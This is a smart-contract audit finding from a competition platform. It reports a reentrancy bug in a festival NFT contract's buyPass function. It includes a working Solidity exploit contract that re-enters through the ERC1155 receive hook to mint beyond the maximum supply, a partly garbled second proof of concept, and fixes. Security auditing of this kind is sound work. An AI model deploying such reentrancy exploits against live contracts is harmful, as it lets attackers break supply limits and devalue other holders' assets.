Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

[H-02] Reentrancy in FestivalPass::buyPass allows bypassing maximum supply limits

Reentrancy in FestivalPass::buyPass allows bypassing maximum supply limits

Description

  • The FestivalPass::buyPass function allows users to purchase NFT passes, minting the token to the buyer and incrementing the total supply counter to enforce a hard cap.

  • However, the function violates the Checks-Effects-Interactions pattern by updating the passSupply state variable after the external _mint call. The ERC1155 _mint function triggers the onERC1155Received hook on the recipient address, handing over control flow before the supply counter reflects the new purchase.

// Buy a festival pass
function buyPass(uint256 collectionId) external payable {
// Must be valid pass ID (1 or 2 or 3)
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
// Check payment and supply
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
// Mint 1 pass to buyer
// @> Root Cause: External call (mint) happens before state update
_mint(msg.sender, collectionId, 1, "");
// @> State is updated here, too late to prevent reentrancy
++passSupply[collectionId];
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

Risk

Likelihood:

  • The function is external and payable, allowing any malicious contract to interact with it without restriction.

  • The ERC1155 standard explicitly requires the onERC1155Received callback to be executed upon minting to a contract, guaranteeing the attacker gains control execution during the transaction.

Impact:

  • Malicious actors can mint tokens well beyond the passMaxSupply limit, rendering the scarcity mechanism useless.

  • The integrity of the collection's economy is broken, potentially devaluing the assets of honest users.

Proof of Concept

The following contract ReentrancyExploit demonstrates how to bypass the supply limit.

How it works

  • Attack Initiation: The attacker calls attack(), which initiates the first buyPass transaction.

  • Control Transfer: buyPass calls _mint, which triggers the onERC1155Received function on the exploit contract.

  • Recursive Call: Inside onERC1155Received, the exploit contract calls buyPass again.

  • Bypass Check: Since the execution of the first buyPass is paused at the _mint line, the passSupply variable has not yet been incremented. The second call sees the old supply value and passes the require check.

  • Loop: This repeats until the attacker chooses to stop or gas is exhausted, minting a token each time.

Exploit code

import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
contract ReentrancyExploit is IERC1155Receiver {
TicketContract public target;
uint256 public constant ID = 1;
uint256 public constant PRICE = 1 ether;
constructor(address _target) {
target = TicketContract(_target);
}
// 1. Fund this contract with enough ETH to buy multiple passes
// 2. Call attack()
function attack() external {
target.buyPass{value: PRICE}(ID);
}
function onERC1155Received(
address, address, uint256, uint256, bytes memory
) public virtual override returns (bytes4) {
// Recursively call buyPass as long as we have funds
// This logic runs BEFORE passSupply is incremented in the target
if (address(this).balance >= PRICE) {
target.buyPass{value: PRICE}(ID);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address, address, uint256[] memory, uint256[] memory, bytes memory
) public virtual override returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
// Allow contract to receive ETH refunds or rewards
receive() external payable {}
}

Recommended Mitigation

  • Adhere to the Checks-Effects-Interactions (CEI) pattern by incrementing the supply counter before triggering the mint:

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
+ // Update state before external calls
+ ++passSupply[collectionId];
// Mint 1 pass to buyer
_mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
// ...
}
  • Inherit from OpenZeppelin's ReentrancyGuard and use the nonReentrant modifier. This places a lock on the function, causing any nested calls to revert immediately.

+ import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
- contract TicketContract is Ownable, ERC1155 {
+ contract TicketContract is Ownable, ERC1155, ReentrancyGuard {
- function buyPass(uint256 collectionId) external payable {
+ function buyPass(uint256 collectionId) external payable nonReentrant {
// ... implementation
}
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!